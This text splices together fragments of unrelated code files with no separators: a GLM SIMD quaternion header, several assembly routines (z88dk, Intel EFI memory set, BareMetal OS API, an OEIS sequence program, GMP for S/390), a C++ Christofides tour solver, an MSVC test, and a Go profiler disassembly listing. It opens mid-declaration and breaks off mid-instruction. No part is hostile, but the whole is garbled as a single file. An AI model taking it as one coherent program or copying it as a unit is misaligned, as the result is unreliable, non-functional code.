detail::fquatSIMD const & q, float s); }//namespace detail /// @addtogroup gtx_simd_quat /// @{ typedef glm::detail::fquatSIMD simdQuat; //! Convert a simdQuat to a quat. /// @see gtx_simd_quat quat quat_cast( detail::fquatSIMD const & x); //! Convert a simdMat4 to a simdQuat. /// @see gtx_simd_quat detail::fquatSIMD quatSIMD_cast( detail::fmat4x4SIMD const & m); //! Converts a mat4 to a simdQuat. /// @see gtx_simd_quat template <typename T, precision P> detail::fquatSIMD quatSIMD_cast( tmat4x4<T, P> const & m); //! Converts a mat3 to a simdQuat. /// @see gtx_simd_quat template <typename T, precision P> detail::fquatSIMD quatSIMD_cast( tmat3x3<T, P> const & m); //! Convert a simdQuat to a simdMat4 /// @see gtx_simd_quat detail::fmat4x4SIMD mat4SIMD_cast( detail::fquatSIMD const & q); //! Converts a simdQuat to a standard mat4. /// @see gtx_simd_quat mat4 mat4_cast( detail::fquatSIMD const & q); /// Returns the length of the quaternion. /// /// @see gtx_simd_quat float length( detail::fquatSIMD const & x); /// Returns the normalized quaternion. /// /// @see gtx_simd_quat detail::fquatSIMD normalize( detail::fquatSIMD const & x); /// Returns dot product of q1 and q2, i.e., q1[0] * q2[0] + q1[1] * q2[1] + ... /// /// @see gtx_simd_quat float dot( detail::fquatSIMD const & q1, detail::fquatSIMD const & q2); /// Spherical linear interpolation of two quaternions. /// The interpolation is oriented and the rotation is performed at constant speed. /// For short path spherical linear interpolation, use the slerp function. /// /// @param x A quaternion /// @param y A quaternion /// @param a Interpolation factor. The interpolation is defined beyond the range [0, 1]. /// @tparam T Value type used to build the quaternion. Supported: half, float or double. /// @see gtx_simd_quat /// @see - slerp(detail::fquatSIMD const & x, detail::fquatSIMD const & y, T const & a) detail::fquatSIMD mix( detail::fquatSIMD const & x, detail::fquatSIMD const & y, float const & a); /// Linear interpolation of two quaternions. /// The interpolation is oriented. /// /// @param x A quaternion /// @param y A quaternion /// @param a Interpolation factor. The interpolation is defined in the range [0, 1]. /// @tparam T Value type used to build the quaternion. Supported: half, float or double. /// @see gtx_simd_quat detail::fquatSIMD lerp( detail::fquatSIMD const & x, detail::fquatSIMD const & y, float const & a); /// Spherical linear interpolation of two quaternions. /// The interpolation always take the short path and the rotation is performed at constant speed. /// /// @param x A quaternion /// @param y A quaternion /// @param a Interpolation factor. The interpolation is defined beyond the range [0, 1]. /// @tparam T Value type used to build the quaternion. Supported: half, float or double. /// @see gtx_simd_quat detail::fquatSIMD slerp( detail::fquatSIMD const & x, detail::fquatSIMD const & y, float const & a); /// Faster spherical linear interpolation of two unit length quaternions. /// /// This is the same as mix(), except for two rules: /// 1) The two quaternions must be unit length. /// 2) The interpolation factor (a) must be in the range [0, 1]. /// /// This will use the equivalent to fastAcos() and fastSin(). /// /// @see gtx_simd_quat /// @see - mix(detail::fquatSIMD const & x, detail::fquatSIMD const & y, T const & a) detail::fquatSIMD fastMix( detail::fquatSIMD const & x, detail::fquatSIMD const & y, float const & a); /// Identical to fastMix() except takes the shortest path. /// /// The same rules apply here as those in fastMix(). Both quaternions must be unit length and 'a' must be /// in the range [0, 1]. /// /// @see - fastMix(detail::fquatSIMD const & x, detail::fquatSIMD const & y, T const & a) /// @see - slerp(detail::fquatSIMD const & x, detail::fquatSIMD const & y, T const & a) detail::fquatSIMD fastSlerp( detail::fquatSIMD const & x, detail::fquatSIMD const & y, float const & a); /// Returns the q conjugate. /// /// @see gtx_simd_quat detail::fquatSIMD conjugate( detail::fquatSIMD const & q); /// Returns the q inverse. /// /// @see gtx_simd_quat detail::fquatSIMD inverse( detail::fquatSIMD const & q); /// Build a quaternion from an angle and a normalized axis. /// /// @param angle Angle expressed in radians. /// @param axis Axis of the quaternion, must be normalized. /// /// @see gtx_simd_quat detail::fquatSIMD angleAxisSIMD( float const & angle, vec3 const & axis); /// Build a quaternion from an angle and a normalized axis. /// /// @param angle Angle expressed in radians. /// @param x x component of the x-axis, x, y, z must be a normalized axis /// @param y y component of the y-axis, x, y, z must be a normalized axis /// @param z z component of the z-axis, x, y, z must be a normalized axis /// /// @see gtx_simd_quat detail::fquatSIMD angleAxisSIMD( float const & angle, float const & x, float const & y, float const & z); // TODO: Move this to somewhere more appropriate. Used with fastMix() and fastSlerp(). /// Performs the equivalent of glm::fastSin() on each component of the given __m128. __m128 fastSin(__m128 x); /// @} }//namespace glm #include "simd_quat.inl" #if (GLM_COMPILER & GLM_COMPILER_VC) # pragma warning(pop) #endif #endif//(GLM_ARCH != GLM_ARCH_PURE)
; void _div_(div_t *d, int numer, int denom) SECTION code_stdlib PUBLIC _div__callee EXTERN asm__div _div__callee: pop af pop de pop hl pop bc push af jp asm__div
;/*++ ; ;Copyright (c) 2006, Intel Corporation. All rights reserved.<BR> ;This program and the accompanying materials ;are licensed and made available under the terms and conditions of the BSD License ;which accompanies this distribution. The full text of the license may be found at ;http://opensource.org/licenses/bsd-license.php ; ;THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, ;WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. ; ;Module Name: ; ; EfiSetMem.asm ; ;Abstract: ; ; This is the code that supports IA32-optimized SetMem service ; ;--*/ ;--------------------------------------------------------------------------- .686 .model flat,C .mmx .code ;--------------------------------------------------------------------------- ;VOID ;EfiCommonLibSetMem ( ; IN VOID *Buffer, ; IN UINTN Count, ; IN UINT8 Value ; ) ;/*++ ; ;Input: VOID *Buffer - Pointer to buffer to write ; UINTN Count - Number of bytes to write ; UINT8 Value - Value to write ; ;Output: None. ; ;Saves: ; ;Modifies: ; ;Description: This function is an optimized set-memory function. ; ;Notes: This function tries to set memory 8 bytes at a time. As a result, ; it first picks up any misaligned bytes, then words, before getting ; in the main loop that does the 8-byte clears. ; ;--*/ EfiCommonLibSetMem PROC push ebp mov ebp, esp sub esp, 10h; Reserve space for local variable UINT64 QWordValue @[ebp - 10H] & UINT64 MmxSave @[ebp - 18H] push ebx push edi mov edx, [ebp + 0Ch] ; Count test edx, edx je _SetMemDone push ebx mov eax, [ebp + 8] ; Buffer mov bl, [ebp + 10h] ; Value mov edi, eax mov bh, bl cmp edx, 256 jb _SetRemindingByte and al, 07h test al, al je _SetBlock mov eax, edi shr eax, 3 inc eax shl eax, 3 sub eax, edi cmp eax, edx jnb _SetRemindingByte sub edx, eax mov ecx, eax mov al, bl rep stosb _SetBlock: mov eax, edx shr eax, 6 test eax, eax je _SetRemindingByte shl eax, 6 sub edx, eax shr eax, 6 mov WORD PTR [ebp - 10H], bx ; QWordValue[0] mov WORD PTR [ebp - 10H + 2], bx ; QWordValue[2] mov WORD PTR [ebp - 10H + 4], bx ; QWordValue[4] mov WORD PTR [ebp - 10H + 6], bx ; QWordValue[6] movq [ebp - 8], mm0 ; Save mm0 to MmxSave movq mm0, [ebp - 10H] ; Load QWordValue to mm0 _B: movq QWORD PTR ds:[edi], mm0 movq QWORD PTR ds:[edi+8], mm0 movq QWORD PTR ds:[edi+16], mm0 movq QWORD PTR ds:[edi+24], mm0 movq QWORD PTR ds:[edi+32], mm0 movq QWORD PTR ds:[edi+40], mm0 movq QWORD PTR ds:[edi+48], mm0 movq QWORD PTR ds:[edi+56], mm0 add edi, 64 dec eax jnz _B ; Restore mm0 movq mm0, [ebp - 8] ; Restore MmxSave to mm0 emms ; Exit MMX Instruction _SetRemindingByte: mov ecx, edx mov eax, ebx shl eax, 16 mov ax, bx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb pop ebx _SetMemDone: pop edi pop ebx leave ret EfiCommonLibSetMem ENDP END
; sp1_DrawUpdateStructIfVal(struct sp1_update *u) SECTION code_clib SECTION code_temp_sp1 PUBLIC sp1_DrawUpdateStructIfVal EXTERN asm_sp1_DrawUpdateStructIfVal defc sp1_DrawUpdateStructIfVal = asm_sp1_DrawUpdateStructIfVal
; ============================================================================= ; BareMetal -- a 64-bit OS written in Assembly for x86-64 systems ; Copyright (C) 2008-2016 Return Infinity -- see LICENSE.TXT ; ; Include file for Bare Metal program development (API version 2.0) ; ============================================================================= b_output equ 0x0000000000100010 ; Displays text. IN: RSI = message location (zero-terminated string) b_output_chars equ 0x0000000000100018 ; Displays a number of characters. IN: RSI = message location, RCX = number of characters b_input equ 0x0000000000100020 ; Take string from keyboard entry. IN: RDI = location where string will be stored. RCX = max chars to accept b_input_key equ 0x0000000000100028 ; Scans keyboard for input. OUT: AL = 0 if no key pressed, otherwise ASCII code b_smp_set equ 0x0000000000100030 ; Set a CPU to run code. IN: RAX = Code address, RDX = Data address, RCX = CPU ID b_smp_config equ 0x0000000000100038 ; Stub b_mem_allocate equ 0x0000000000100040 ; Allocates the requested number of 2 MiB pages. IN: RCX = Number of pages to allocate. OUT: RAX = Starting address, RCX = Number of pages allocated (Set to the value asked for or 0 on failure) b_mem_release equ 0x0000000000100048 ; Frees the requested number of 2 MiB pages. IN: RAX = Starting address, RCX = Number of pages to free. OUT: RCX = Number of pages freed b_ethernet_tx equ 0x0000000000100050 ; Transmit a packet via Ethernet. IN: RSI = Memory location where data is stored, RDI = Pointer to 48 bit destination address, BX = Type of packet (If set to 0 then the EtherType will be set to the length of data), CX = Length of data b_ethernet_rx equ 0x0000000000100058 ; Polls the Ethernet card for received data. IN: RDI = Memory location where packet will be stored. OUT: RCX = Length of packet b_disk_read equ 0x0000000000100060 ; Read from the disk. b_disk_write equ 0x0000000000100068 ; Write to the disk. b_system_config equ 0x0000000000100070 ; View/modify system configuration. IN: RDX = Function #, RAX = Variable. OUT: RAX = Result b_system_misc equ 0x0000000000100078 ; Call a misc system function. IN: RDX = Function #, RAX = Variable 1, RCX = Variable 2. Out: RAX = Result 1, RCX = Result 2 ; Index for b_system_config calls timecounter equ 0 config_argc equ 1 config_argv equ 2 networkcallback_get equ 3 networkcallback_set equ 4 clockcallback_get equ 5 clockcallback_set equ 6 ; Index for b_system_misc calls smp_get_id equ 1 smp_lock equ 2 smp_unlock equ 3 debug_dump_mem equ 4 debug_dump_rax equ 5 get_argc equ 6 get_argv equ 7 ; ============================================================================= ; EOF
; A040451: Continued fraction for sqrt(473). ; 21,1,2,1,42,1,2,1,42,1,2,1,42,1,2,1,42,1,2,1,42,1,2,1,42,1,2,1,42,1,2,1,42,1,2,1,42,1,2,1,42,1,2,1,42,1,2,1,42,1,2,1,42,1,2,1,42,1,2,1,42,1,2,1,42,1,2,1,42,1,2,1,42,1,2,1,42,1,2,1,42,1,2,1 mov $5,$0 mov $7,2 lpb $7,1 clr $0,5 mov $0,$5 sub $7,1 add $0,$7 sub $0,1 div $0,2 add $3,$0 div $0,2 mul $0,5 add $0,1 mov $2,1 add $2,$0 mul $2,8 add $4,$3 add $4,3 add $2,$4 add $2,1 mul $2,2 mov $1,$2 mov $8,$7 lpb $8,1 mov $6,$1 sub $8,1 lpe lpe lpb $5,1 mov $5,0 sub $6,$1 lpe mov $1,$6 div $1,2 add $1,1
; BEGIN_LEGAL ; Intel Open Source License ; ; Copyright (c) 2002-2016 Intel Corporation. All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are ; met: ; ; Redistributions of source code must retain the above copyright notice, ; this list of conditions and the following disclaimer. Redistributions ; in binary form must reproduce the above copyright notice, this list of ; conditions and the following disclaimer in the documentation and/or ; other materials provided with the distribution. Neither the name of ; the Intel Corporation nor the names of its contributors may be used to ; endorse or promote products derived from this software without ; specific prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ; ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT ; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR ; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR ; ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, ; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT ; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, ; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY ; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ; END_LEGAL ; ;If the stack is properly aligned, "SP-8" should be aligned on a 16-byte boundary ;on entry to this (and any) function. The 'movdqa' instruction below will fault ;if the stack is not aligned this way. .code CheckSPAlign PROC add rsp, -24 movdqa [rsp], xmm0 add rsp, 24 ret CheckSPAlign ENDP end
/* This file is part of VROOM. Copyright (c) 2015-2018, Julien Coupey. All rights reserved (see LICENSE). */ #include "christofides.h" std::list<index_t> christofides(const matrix<cost_t>& sym_matrix) { // The eulerian sub-graph further used is made of a minimum spanning // tree with a minimum weight perfect matching on its odd degree // vertices. // Compute symmetric graph from the matrix. auto sym_graph = undirected_graph<cost_t>(sym_matrix); BOOST_LOG_TRIVIAL(trace) << "* Graph has " << sym_graph.size() << " nodes."; // Work on a minimum spanning tree seen as a graph. auto mst_graph = minimum_spanning_tree(sym_graph); // Getting minimum spanning tree of associated graph under the form // of an adjacency list. std::unordered_map<index_t, std::list<index_t>> adjacency_list = mst_graph.get_adjacency_list(); // Getting odd degree vertices from the minimum spanning tree. std::vector<index_t> mst_odd_vertices; for (const auto& adjacency : adjacency_list) { if (adjacency.second.size() % 2 == 1) { mst_odd_vertices.push_back(adjacency.first); } } BOOST_LOG_TRIVIAL(trace) << "* " << mst_odd_vertices.size() << " nodes with odd degree in the minimum spanning tree."; // Getting corresponding matrix for the generated sub-graph. matrix<cost_t> sub_matrix = sym_matrix.get_sub_matrix(mst_odd_vertices); // Computing minimum weight perfect matching. std::unordered_map<index_t, index_t> mwpm = minimum_weight_perfect_matching(sub_matrix); // Storing those edges from mwpm that are coherent regarding // symmetry (y -> x whenever x -> y). Remembering the rest of them // for further use. Edges are not doubled in mwpm_final. std::unordered_map<index_t, index_t> mwpm_final; std::vector<index_t> wrong_vertices; unsigned total_ok = 0; for (const auto& edge : mwpm) { if (mwpm.at(edge.second) == edge.first) { mwpm_final.emplace(std::min(edge.first, edge.second), std::max(edge.first, edge.second)); ++total_ok; } else { wrong_vertices.push_back(edge.first); } } if (!wrong_vertices.empty()) { BOOST_LOG_TRIVIAL(trace) << "* Munkres: " << wrong_vertices.size() << " useless nodes for symmetry."; std::unordered_map<index_t, index_t> remaining_greedy_mwpm = greedy_symmetric_approx_mwpm(sub_matrix.get_sub_matrix(wrong_vertices)); // Adding edges obtained with greedy algo for the missing vertices // in mwpm_final. for (const auto& edge : remaining_greedy_mwpm) { mwpm_final.emplace(std::min(wrong_vertices[edge.first], wrong_vertices[edge.second]), std::max(wrong_vertices[edge.first], wrong_vertices[edge.second])); } } // Building eulerian graph. std::vector<edge<cost_t>> eulerian_graph_edges = mst_graph.get_edges(); // Adding edges from minimum weight perfect matching (with the // original vertices index). Edges appear twice in matching so we // need to remember the one already added. std::set<index_t> already_added; for (const auto& edge : mwpm_final) { index_t first_index = mst_odd_vertices[edge.first]; index_t second_index = mst_odd_vertices[edge.second]; if (already_added.find(first_index) == already_added.end()) { eulerian_graph_edges.emplace_back(first_index, second_index, sym_matrix[first_index][second_index]); already_added.insert(second_index); } } // Building Eulerian graph from the edges. undirected_graph<cost_t> eulerian_graph(eulerian_graph_edges); assert(eulerian_graph.size() >= 2); // Hierholzer's algorithm: building and joining closed tours with // vertices that still have adjacent edges. std::unordered_map<index_t, std::list<index_t>> eulerian_adjacency_list = eulerian_graph.get_adjacency_list(); std::list<index_t> eulerian_path; eulerian_path.push_back(eulerian_adjacency_list.begin()->first); // Building and joining tours as long as necessary. bool complete_tour; do { complete_tour = true; // presumed complete std::list<index_t>::iterator new_tour_start; // Finding first element of eulerian_path that still has an // adjacent edge (if any). for (auto vertex = eulerian_path.begin(); vertex != eulerian_path.end(); ++vertex) { if (eulerian_adjacency_list[*vertex].size() > 0) { new_tour_start = vertex; complete_tour = false; break; } } if (!complete_tour) { // Add new tour to initial eulerian path and check again. std::list<index_t> new_tour; index_t initial_vertex = *new_tour_start; index_t current_vertex = initial_vertex; index_t next_vertex; // Start building new tour. do { new_tour.push_back(current_vertex); // Find next vertex from any adjacent edge and remove used edge. next_vertex = eulerian_adjacency_list[current_vertex].front(); eulerian_adjacency_list[current_vertex].pop_front(); for (auto vertex = eulerian_adjacency_list[next_vertex].begin(); vertex != eulerian_adjacency_list[next_vertex].end(); ++vertex) { if (*vertex == current_vertex) { eulerian_adjacency_list[next_vertex].erase(vertex); break; } } current_vertex = next_vertex; } while (current_vertex != initial_vertex); // Adding new tour to existing eulerian path. eulerian_path.insert(new_tour_start, new_tour.begin(), new_tour.end()); } } while (!complete_tour); std::set<index_t> already_visited; std::list<index_t> tour; for (const auto& vertex : eulerian_path) { auto ret = already_visited.insert(vertex); if (ret.second) { // Vertex not already visited. tour.push_back(vertex); } } return tour; }
// Copyright (c) Microsoft Corporation. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception #include <__msvc_all_public_headers.hpp> #ifdef _M_CEE_PURE int main() { #else int __cdecl main() { #endif // Test Dev10-465793 "iostreams: <locale> is incompatible with /Gr and /Gz". std::locale loc("english_US"); }
dnl S/390-64 mpn_mod_34lsub1 dnl Copyright 2011 Free Software Foundation, Inc. dnl This file is part of the GNU MP Library. dnl dnl The GNU MP Library is free software; you can redistribute it and/or modify dnl it under the terms of either: dnl dnl * the GNU Lesser General Public License as published by the Free dnl Software Foundation; either version 3 of the License, or (at your dnl option) any later version. dnl dnl or dnl dnl * the GNU General Public License as published by the Free Software dnl Foundation; either version 2 of the License, or (at your option) any dnl later version. dnl dnl or both in parallel, as here. dnl dnl The GNU MP Library is distributed in the hope that it will be useful, but dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License dnl for more details. dnl dnl You should have received copies of the GNU General Public License and the dnl GNU Lesser General Public License along with the GNU MP Library. If not, dnl see https://www.gnu.org/licenses/. include(`../config.m4') C cycles/limb C z900 5.8 C z990 2 C z9 ? C z10 4.5 C z196 ? C TODO C * Optimise summation code, see x86_64. C INPUT PARAMETERS define(`rp', `%r2') define(`n', `%r3') ASM_START() PROLOGUE(mpn_mod_34lsub1) stmg %r7, %r12, 56(%r15) lghi %r11, 0 lghi %r12, 0 lghi %r0, 0 lghi %r8, 0 lghi %r9, 0 lghi %r10, 0 lghi %r7, 0 aghi %r3, -3 jl .L3 L(top): alg %r0, 0(%r2) alcg %r12, 8(%r2) alcg %r11, 16(%r2) alcgr %r8, %r7 la %r2, 24(%r2) aghi %r3, -3 jnl L(top) lgr %r7, %r8 srlg %r1, %r11, 16 nihh %r7, 0 C 0xffffffffffff agr %r7, %r1 srlg %r8, %r8, 48 agr %r7, %r8 sllg %r11, %r11, 32 nihh %r11, 0 agr %r7, %r11 .L3: cghi %r3, -3 je .L6 alg %r0, 0(%r2) alcgr %r10, %r10 cghi %r3, -2 je .L6 alg %r12, 8(%r2) alcgr %r9, %r9 .L6: srlg %r1, %r0, 48 nihh %r0, 0 C 0xffffffffffff agr %r0, %r1 agr %r0, %r7 srlg %r1, %r12, 32 agr %r0, %r1 srlg %r1, %r10, 32 agr %r0, %r1 llgfr %r12, %r12 srlg %r1, %r9, 16 sllg %r12, %r12, 16 llgfr %r10, %r10 agr %r0, %r1 llill %r2, 65535 agr %r0, %r12 sllg %r10, %r10, 16 ngr %r2, %r9 agr %r0, %r10 sllg %r2, %r2, 32 agr %r2, %r0 lmg %r7, %r12, 56(%r15) br %r14 EPILOGUE()
Total: 822.30MB ROUTINE ======================== main.(*Graph).buildAdjList 374.64MB 374.64MB (flat, cum) 45.56% of Total . . 10ca6a0: MOVQ GS:0x30, CX ;graph.go:102 . . 10ca6a9: LEAQ -0x60(SP), AX . . 10ca6ae: CMPQ 0x10(CX), AX . . 10ca6b2: JBE 0x10cab5e . . 10ca6b8: SUBQ $0xe0, SP . . 10ca6bf: MOVQ BP, 0xd8(SP) . . 10ca6c7: LEAQ 0xd8(SP), BP . . 10ca6cf: XORL AX, AX . . 10ca6d1: XORL CX, CX . . 10ca6d3: JMP 0x10ca97f ;graph.go:104 . . 10ca6d8: MOVQ 0x88(SP), R10 ;graph.go:110 . . 10ca6e0: LEAQ 0x1(R10), R9 . . 10ca6e4: MOVQ 0x78(SP), R10 . . 10ca6e9: MOVQ 0x70(SP), R11 . . 10ca6ee: MOVQ 0x98(SP), R12 . . 10ca6f6: MOVQ 0x68(SP), R13 . . 10ca6fb: MOVQ 0xc0(SP), R14 . . 10ca703: MOVQ R10, AX . . 10ca706: MOVQ 0x50(SP), CX ;graph.go:107 . . 10ca70b: MOVQ R11, DX ;graph.go:111 . . 10ca70e: MOVQ 0xe8(SP), BX . . 10ca716: MOVQ R12, SI . . 10ca719: MOVQ R13, DI . . 10ca71c: MOVQ R14, R8 ;graph.go:110 . . 10ca71f: CMPQ AX, R9 . . 10ca722: JGE 0x10ca976 . . 10ca728: MOVQ 0(R8)(R9*8), R10 . . 10ca72c: MOVQ 0x8(BX), R11 ;graph.go:111 . . 10ca730: MOVQ 0(BX), R12 . . 10ca733: CMPQ R11, R10 . . 10ca736: JAE 0x10cab52 . . 10ca73c: MOVQ R9, 0x88(SP) ;graph.go:110 . . 10ca744: MOVQ R10, 0x58(SP) . . 10ca749: LEAQ 0(R10)(R10*2), AX ;graph.go:111 . . 10ca74d: MOVQ AX, 0x80(SP) . . 10ca755: MOVQ 0(R12)(AX*8), CX . . 10ca759: MOVQ 0x10(R12)(AX*8), BX . . 10ca75e: MOVQ 0x8(R12)(AX*8), R8 . . 10ca763: MOVQ SI, 0(SP) . . 10ca767: MOVQ DI, 0x8(SP) . . 10ca76c: MOVQ DX, 0x10(SP) . . 10ca771: MOVQ CX, 0x18(SP) . . 10ca776: MOVQ R8, 0x20(SP) . . 10ca77b: MOVQ BX, 0x28(SP) . . 10ca780: CALL main.distance(SB) . . 10ca785: CMPQ $0x1, 0x30(SP) . . 10ca78b: JNE 0x10ca95c . . 10ca791: MOVQ 0xe8(SP), DX ;graph.go:112 . . 10ca799: MOVQ 0x18(DX), BX . . 10ca79d: MOVQ 0x20(DX), CX . . 10ca7a1: MOVQ 0x60(SP), AX . . 10ca7a6: CMPQ CX, AX . . 10ca7a9: JAE 0x10cab4d . . 10ca7af: MOVQ 0x90(SP), SI . . 10ca7b7: MOVQ 0x10(BX)(SI*8), DI . . 10ca7bc: MOVQ 0x8(BX)(SI*8), R8 . . 10ca7c1: MOVQ 0(BX)(SI*8), R9 . . 10ca7c5: LEAQ 0x1(R8), R10 . . 10ca7c9: LEAQ 0(BX)(SI*8), R11 . . 10ca7cd: CMPQ DI, R10 . . 10ca7d0: JA 0x10ca8c5 . . 10ca7d6: LEAQ 0x1(R8), DI . . 10ca7da: MOVQ DI, 0x8(BX)(SI*8) . . 10ca7df: MOVQ 0x58(SP), BX . . 10ca7e4: MOVQ BX, 0(R9)(R8*8) . . 10ca7e8: MOVQ 0x20(DX), CX ;graph.go:113 . . 10ca7ec: MOVQ 0x18(DX), DI . . 10ca7f0: CMPQ CX, BX . . 10ca7f3: JAE 0x10cab45 . . 10ca7f9: MOVQ 0x80(SP), BX . . 10ca801: MOVQ 0(DI)(BX*8), R8 . . 10ca805: MOVQ 0x10(DI)(BX*8), R9 . . 10ca80a: MOVQ 0x8(DI)(BX*8), R10 . . 10ca80f: LEAQ 0x1(R10), R11 . . 10ca813: LEAQ 0(DI)(BX*8), R12 . . 10ca817: CMPQ R9, R11 . . 10ca81a: JA 0x10ca82e . . 10ca81c: LEAQ 0x1(R10), R9 . . 10ca820: MOVQ R9, 0x8(DI)(BX*8) . . 10ca825: MOVQ AX, 0(R8)(R10*8) . . 10ca829: JMP 0x10ca6d8 . . 10ca82e: MOVQ R12, 0xb8(SP) . . 10ca836: MOVQ DI, 0xb0(SP) . . 10ca83e: LEAQ runtime.types+86176(SB), AX . . 10ca845: MOVQ AX, 0(SP) . . 10ca849: MOVQ R8, 0x8(SP) . . 10ca84e: MOVQ R10, 0x10(SP) . . 10ca853: MOVQ R9, 0x18(SP) . . 10ca858: MOVQ R11, 0x20(SP) 58.02MB 58.02MB 10ca85d: CALL runtime.growslice(SB) ;main.(*Graph).buildAdjList graph.go:113 . . 10ca862: MOVQ 0x28(SP), AX ;graph.go:113 . . 10ca867: MOVQ 0x30(SP), CX . . 10ca86c: MOVQ 0x38(SP), DX . . 10ca871: MOVQ 0x80(SP), BX . . 10ca879: MOVQ 0xb0(SP), SI . . 10ca881: MOVQ DX, 0x10(SI)(BX*8) . . 10ca886: CMPL $0x0, runtime.writeBarrier(SB) . . 10ca88d: JNE 0x10ca8b6 . . 10ca88f: MOVQ AX, 0(SI)(BX*8) . . 10ca893: MOVQ 0xe8(SP), DX ;graph.go:111 . . 10ca89b: MOVQ SI, DI ;graph.go:113 . . 10ca89e: MOVQ CX, R10 . . 10ca8a1: MOVQ AX, R8 . . 10ca8a4: MOVQ 0x60(SP), AX . . 10ca8a9: MOVQ 0x90(SP), SI ;graph.go:112 . . 10ca8b1: JMP 0x10ca81c ;graph.go:113 . . 10ca8b6: MOVQ 0xb8(SP), DI . . 10ca8be: CALL runtime.gcWriteBarrier(SB) . . 10ca8c3: JMP 0x10ca893 . . 10ca8c5: MOVQ BX, 0xa8(SP) ;graph.go:112 . . 10ca8cd: MOVQ R11, 0xa0(SP) . . 10ca8d5: LEAQ runtime.types+86176(SB), AX . . 10ca8dc: MOVQ AX, 0(SP) . . 10ca8e0: MOVQ R9, 0x8(SP) . . 10ca8e5: MOVQ R8, 0x10(SP) . . 10ca8ea: MOVQ DI, 0x18(SP) . . 10ca8ef: MOVQ R10, 0x20(SP) 74.52MB 74.52MB 10ca8f4: CALL runtime.growslice(SB) ;main.(*Graph).buildAdjList graph.go:112 . . 10ca8f9: MOVQ 0x28(SP), AX ;graph.go:112 . . 10ca8fe: MOVQ 0x30(SP), CX . . 10ca903: MOVQ 0x38(SP), DX . . 10ca908: MOVQ 0x90(SP), BX . . 10ca910: MOVQ 0xa8(SP), SI . . 10ca918: MOVQ DX, 0x10(SI)(BX*8) . . 10ca91d: CMPL $0x0, runtime.writeBarrier(SB) . . 10ca924: JNE 0x10ca94d . . 10ca926: MOVQ AX, 0(SI)(BX*8) . . 10ca92a: MOVQ 0xe8(SP), DX ;graph.go:113 . . 10ca932: MOVQ SI, BX ;graph.go:112 . . 10ca935: MOVQ 0x90(SP), SI . . 10ca93d: MOVQ CX, R8 . . 10ca940: MOVQ AX, R9 . . 10ca943: MOVQ 0x60(SP), AX ;graph.go:113 . . 10ca948: JMP 0x10ca7d6 ;graph.go:112 . . 10ca94d: MOVQ 0xa0(SP), DI . . 10ca955: CALL runtime.gcWriteBarrier(SB) . . 10ca95a: JMP 0x10ca92a . . 10ca95c: MOVQ 0x60(SP), AX ;graph.go:104 . . 10ca961: MOVQ 0xe8(SP), DX ;graph.go:111 . . 10ca969: MOVQ 0x90(SP), SI ;graph.go:112 . . 10ca971: JMP 0x10ca6d8 ;graph.go:110 . . 10ca976: MOVQ 0x60(SP), DX ;graph.go:104 . . 10ca97b: LEAQ 0x1(DX), AX . . 10ca97f: MOVQ 0xe8(SP), DX . . 10ca987: MOVQ 0x8(DX), BX . . 10ca98b: MOVQ 0(DX), SI . . 10ca98e: CMPQ BX, AX . . 10ca991: JGE 0x10caaa0 . . 10ca997: MOVQ AX, 0x60(SP) . . 10ca99c: MOVQ CX, 0x50(SP) ;graph.go:107 . . 10ca9a1: LEAQ 0(AX)(AX*2), CX ;graph.go:105 . . 10ca9a5: MOVQ CX, 0x90(SP) . . 10ca9ad: MOVQ 0x10(SI)(CX*8), DX . . 10ca9b2: MOVQ DX, 0x70(SP) . . 10ca9b7: MOVQ 0x8(SI)(CX*8), BX . . 10ca9bc: MOVQ BX, 0x68(SP) . . 10ca9c1: MOVQ 0(SI)(CX*8), SI . . 10ca9c5: MOVQ SI, 0x98(SP) . . 10ca9cd: MOVQ 0xf0(SP), DI ;graph.go:106 . . 10ca9d5: MOVQ DI, 0(SP) . . 10ca9d9: MOVQ SI, 0x8(SP) . . 10ca9de: MOVQ BX, 0x10(SP) . . 10ca9e3: MOVQ DX, 0x18(SP) . . 10ca9e8: CALL main.(*index).nearCount(SB) . . 10ca9ed: MOVQ 0x20(SP), AX . . 10ca9f2: MOVQ AX, 0x78(SP) . . 10ca9f7: LEAQ runtime.types+86176(SB), CX ;graph.go:108 . . 10ca9fe: MOVQ CX, 0(SP) . . 10caa02: MOVQ AX, 0x8(SP) . . 10caa07: MOVQ AX, 0x10(SP) 242.11MB 242.11MB 10caa0c: CALL runtime.makeslice(SB) ;main.(*Graph).buildAdjList graph.go:108 . . 10caa11: MOVQ 0x18(SP), AX ;graph.go:108 . . 10caa16: MOVQ AX, 0xc0(SP) . . 10caa1e: MOVQ 0xf0(SP), CX ;graph.go:109 . . 10caa26: MOVQ CX, 0(SP) . . 10caa2a: MOVQ 0x98(SP), DX . . 10caa32: MOVQ DX, 0x8(SP) . . 10caa37: MOVQ 0x68(SP), BX . . 10caa3c: MOVQ BX, 0x10(SP) . . 10caa41: MOVQ 0x70(SP), SI . . 10caa46: MOVQ SI, 0x18(SP) . . 10caa4b: MOVQ AX, 0x20(SP) . . 10caa50: MOVQ 0x78(SP), DI . . 10caa55: MOVQ DI, 0x28(SP) . . 10caa5a: MOVQ DI, 